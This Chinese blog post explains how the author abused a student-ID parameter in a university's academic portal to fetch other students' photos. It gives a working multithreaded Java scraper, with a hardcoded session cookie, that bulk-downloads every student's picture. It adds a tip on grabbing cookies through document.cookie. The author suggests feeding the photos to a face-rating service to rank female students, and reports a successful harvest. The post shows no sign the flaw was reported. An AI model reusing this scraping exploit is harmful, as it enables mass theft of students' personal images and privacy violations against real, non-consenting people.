教务网的请求漏洞
在做一个人脸识别的项目时,需要获取学校教务网上的学生的照片,但是后来我无意中发现学校教务网上的一个安全漏洞,就是在得到自己图片的cookie之后,由于学校的http请求是get请求,并且由于cookie的权限会导致你在持有cookie的情况下可以访问学校任何一个有学号的同学的照片
http的get请求和post请求的区别
关于这一点,直接把百度的结果粘贴如下:
GET和POST是Http请求中最常用的两种请求方法:
首先介绍GET与POST的差异:
(1)GET请求资源数据,POST向服务器传递需要处理的数据
(2)GET传递数据大小不超过2kb,POST没有限制
(3)GET请求的参数会在Url上暴露显示,POST请求参数在Requestbody里,所以相对GET来说,POST安全性较高
(4)GET 请求的静态资源会被浏览器缓存,POST不会被缓存
(5)GET传递的数据类型是文本,POST是文本或者二进制
(6)GET请求被回退时是无害的,POST请求被回退是会被重新再执行一次GET和POST的使用场景:
(a)在传递一些机密信息时必须要使用POST
(b)只是查询获取数据时可以用GET
(c)POST请求速率会比GET慢,因为GET请求产生一个TCP数据包;POST请求产生两个TCP数据包
探究过程
由于get请求的参数会在url暴露显示,我们可以直接更改url上的参数,将学号更改为其他人的学号来获取其他人的照片信息,但是发现这样获取太慢了,就直接写个多线程批量下载照片
import java.io.BufferedInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
public class downimage {
public static void downLoadFromUrl(String urlStr,String fileName,String
savePath) throws IOException{
URL url = new URL(urlStr);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setConnectTimeout(3*1000);
System.setProperty("http.proxyHost", "localhost");
System.setProperty("http.proxyPort", "8888");
conn.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible;
MSIE 5.0; Windows NT; DigExt)");
conn.setRequestProperty("Cookie","semester.id=281;
JSESSIONID=8F14338919CEA1334F7E4B558217782D;
iPlanetDirectoryPro=vYeKkeVYfd97aWCGmR2lSA");
InputStream inputStream = conn.getInputStream();
byte[] getData = readInputStream(inputStream);
File saveDir = new File(savePath);
if(!saveDir.exists()){
saveDir.mkdir();
}
File file = new File(saveDir+File.separator+fileName);
FileOutputStream fos = new FileOutputStream(file);
fos.write(getData);
if(fos!=null){
fos.close();
}
if(inputStream!=null){
inputStream.close();
}
System.out.println("info:"+url+" download success");
}
public static byte[] readInputStream(InputStream inputStream) throws
IOException {
byte[] buffer = new byte[1024];
int len = 0;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
while((len = inputStream.read(buffer)) != -1) {
bos.write(buffer, 0, len);
}
bos.close();
return bos.toByteArray();
}
public static void main(String[] args) throws InterruptedException {
int z=起始学号;
int y = 结束学号;
for (int i=起始学号;i<=v结束学号;i++){
String filename=y+".jpg";
String x="网址"+z;//z是学号,由于是get请求
new Thread(new Runnable(){
@Override
public void run() {
// TODO Auto-generated method stub
try{
downLoadFromUrl(x,
filename,"C:/Users/asus/Desktop/pictures");
}catch (Exception e) {
// TODO: handle exception
}
}
}).start();
Thread.sleep(2000);
z++;
y++;
}
}
}
线程休眠2s,之后直接将图片下载到桌面上的文件夹中,理论上你可以下载所有学生的照片,如果外带一个人脸识别接口判断颜值,就能找到校花了
成果
抓取成果:
ps:为保护隐私,给图片打码。
注意
源代码中cookie是需要你手动获取的,在浏览器中打开图片前f12打开浏览器开发者模式,找到含有sessionid的cookie手动填上去。如果觉得麻烦,这里提供一个思路: 先用账号密码登录官网,然后用document.cookie获取到cookie,然后包装请求头再次发送给服务器,前提是该cookie没有设置httponly。
最后
本篇博客原创仅供学习交流使用,如用作其他用途所承受的法律责任一概与作者无关。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步